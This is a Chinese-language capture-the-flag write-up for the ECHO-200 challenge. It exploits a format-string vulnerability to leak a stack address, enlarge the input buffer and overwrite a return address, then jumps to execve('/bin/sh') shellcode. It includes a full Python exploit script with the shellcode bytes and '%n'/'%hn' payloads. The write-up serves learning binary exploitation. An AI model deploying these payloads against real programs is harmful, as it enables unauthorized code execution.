您的位置:首页 > 运维架构 > Shell

CTF-ECHO-200格式化字符串漏洞+shellcode

2017-06-01 13:20 495 查看
很开心有成功做了一道格式化字符串,这题我也不清楚是哪次比赛上的,漏洞还是十分的明显,格式化加个shellcode直接搞定。就是这算的比较麻烦一点。

那么直接进入正题咯!

开干!!

首先拿checksec检查一遍(个人习惯哈)



可以看到,开了栈保护,但是NX disabled,说明堆栈可执行,直接上shellcode,也没有PIE。

先试试水。



应该有格式化漏洞。

IDA反汇编。



格式化字符串漏洞不要太明显了呢。但是我们一次只能写入16个字节,这咋写shellcode丫。调试的时候发现。



BFCBB324的值是由BFCBB330传来的,而且BFCBB350在整个循环中没有改变,那我们就可以先通过16字节泄露出一个地址,从而来确定栈的相对位置,在来更改BFCBB330的值,从而获取更大的漏洞的利用空间,



可以看下这段代码。1FF也就是511,也就是最多可以利用511字节。这对于我们来说足够了。那么拿到栈的相对位置之后,我们就可以确定返回地址,以及各种我们想要的栈地址,

这里在算shellcode的相对位置时会比较麻烦,还要考虑下字节补足。

具体的调试过程我就不再过多的写了,对于这种题目找到漏洞后有一个利用思路就足够了,剩下的就是慢慢的调试。

贴上代码:

from zio import *
import struct
target=('127.0.0.1',10000)
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
c2=raw_input('go1?')

io.read_until("16")
payload='%12$ud'
io.writeline(payload)
test=io.read_until('16')
stack=int(test[7:17],10)
size=stack-0x7a
print hex(size)
payload=l32(size)
payload+='%999d'  #write stack 99
payload+='%7$n'
io.writeline(payload)
io.read_until('Reading 511 bytes') #write shellcode
tiaozhuan=size+0x8
ret=size+0x21c
shell_addr=size+0x3c
shell='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1'+'\x40'*11+'\x31\xd2\xcd\x80'
s=len(shell)
print hex(tiaozhuan)
print hex(ret)
print hex(s)
print hex(shell_addr)
len1=(shell_addr & 0x0000ffff) -0x16 -0x6   #di 4 wei
len2=(shell_addr >> 16) - (shell_addr & 0x0000ffff)    #gao 4 wei
payload=l32(tiaozhuan)+l32(ret)+l32(ret+0x2)
payload+='%16x'+'%7$n'
payload+='%'+str(len1)+'x'+'%8$hn'
payload+='%'+str(len2)+'x'+'%9$hn'
x=len(str(len1))
y=len(str(len2))
print 'x:'+hex(x)
print 'y:'+hex(y)
payload+='a'*(6-x)+'a'*(6-y+2) + shell
io.writeline(payload)
io.writeline('cat flag')
io.interact()


补充:哎,本来想着差不多写完了。但是想想对于刚接触格式化的小白来说,可能在调试的过程中会碰到许多的问题(至少我就没少遇到。)所以在这里做点补充。

1.如何leak stack的地址。

这其实是个难点,我觉得是。

io.read_until("16")
payload='%12$ud'
io.writeline(payload)
test=io.read_until('16')
stack=int(test[7:17],10)
size=stack-0x7a
print hex(size)


如果对汇编比较了解,那么通过看汇编代码应该能看出来。否则就得细心慢慢找咯,由于栈上的地址通常以
0xba123344
这种,对应十进制的长度就应该是10位,所以用
int(test[7:17],10)
,当然又可以用16进制leak。。不知道有没有讲清楚。汗!

2.另一个点,就是跳出while循环,从反汇编的代码来看,这是个死循环,无法正常跳出。但我们在调试程序的时候发现它是通过一个cmp来进行判断。如图。



咋办嘞?直接把
[esp+18h]
给改了就行了。

3.最后一个问题,可能就是如何组织栈了,建议把地址写在前面。可以参考一下我的。

完了!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  格式化 漏洞